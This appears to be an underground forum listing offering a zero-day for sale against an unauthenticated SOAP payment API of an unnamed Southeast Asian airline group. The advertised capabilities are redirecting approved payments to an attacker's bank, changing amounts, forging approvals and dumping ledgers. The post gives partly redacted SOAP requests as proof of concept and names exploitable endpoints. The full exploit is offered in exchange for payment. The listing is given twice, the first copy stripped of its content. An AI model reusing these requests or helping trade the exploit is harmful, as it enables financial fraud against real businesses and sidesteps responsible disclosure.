17-10-26, 04:40 PM
🔥 FOR SALE: CRITICAL 0-DAY — Cross-Tenant Financial Fraud on Airline Group SOAP API 🔥
Type: Broken Access Control / Missing Authentication
Impact: CRITICAL (10.0) — Direct Financial Fraud
Target: Major Southeast Asian Airline Group (Multiple Brands)
Price: $1,3k
---
📌 WHAT IS THIS?
An unauthenticated SOAP API endpoint that controls the financial ledgers of multiple airline tenants. The `server` parameter routes database operations, and there is **zero authentication** (no session, no token, no MFA).
---
💀 WHAT CAN YOU DO?
---
🔬 PROOF OF CONCEPT (REDACTED)
1. Baseline Read:
Response: `Bank [REDACTED] | [REDACTED_AMOUNT] IDR`
2. Exploit (No Auth):
Response: `BERHASIL`
3. Verification:
Response: `ATTACKER BANK 999 | 1.0000 IDR` (Data restored after test)
---
🛠️ EXPLOITABLE ENDPOINTS
---
💰 TERMS
#0day #SOAP #FinancialFraud #Critical #Airline
Type: Broken Access Control / Missing Authentication
Impact: CRITICAL (10.0) — Direct Financial Fraud
Target: Major Southeast Asian Airline Group (Multiple Brands)
Price: $1,3k
---
📌 WHAT IS THIS?
An unauthenticated SOAP API endpoint that controls the financial ledgers of multiple airline tenants. The `server` parameter routes database operations, and there is **zero authentication** (no session, no token, no MFA).
---
💀 WHAT CAN YOU DO?
- Redirect Money: Change the receiving bank account of a real, approved payment to your own.
- Tamper Amounts: Change a multi-billion IDR payment to 1 IDR.
- Forge Approvals: Erase director approvals and forge the verifier identity.
- Dump Ledgers: Download the full financial data of 7+ airline tenants without login.
---
🔬 PROOF OF CONCEPT (REDACTED)
1. Baseline Read:
POST /[REDACTED]/WebService[REDACTED].asmx
SOAPAction: "http://tempuri.org/GetIOMPayment"
<NoIOM>[REDACTED_IOM]</NoIOM>
<server>[TENANT_A]</server>2. Exploit (No Auth):
POST /[REDACTED]/WebService[REDACTED].asmx
SOAPAction: "http://tempuri.org/UpdatePayment"
<NoIOM>[REDACTED_IOM]</NoIOM>
<NamaBankPenerima>ATTACKER BANK 999</NamaBankPenerima>
<AmountPembayaran>1.0000</AmountPembayaran>
<server>[TENANT_A]</server>3. Verification:
Response: `ATTACKER BANK 999 | 1.0000 IDR` (Data restored after test)
---
🛠️ EXPLOITABLE ENDPOINTS
- `UpdatePayment` — Redirect bank accounts.
- `Verification` — Forge verifier identity.
- `ResetApproval` — Erase director approvals.
- `GetReport` — Dump full financial ledgers.
- `SendToIssued` — Force-issue charter documents.
---
💰 TERMS
- Full unredacted PoC (URL, IOMs, tenant names) provided after payment confirmation.
- Live demo available on request
- Serious buyers only. No time wasters.
#0day #SOAP #FinancialFraud #Critical #Airline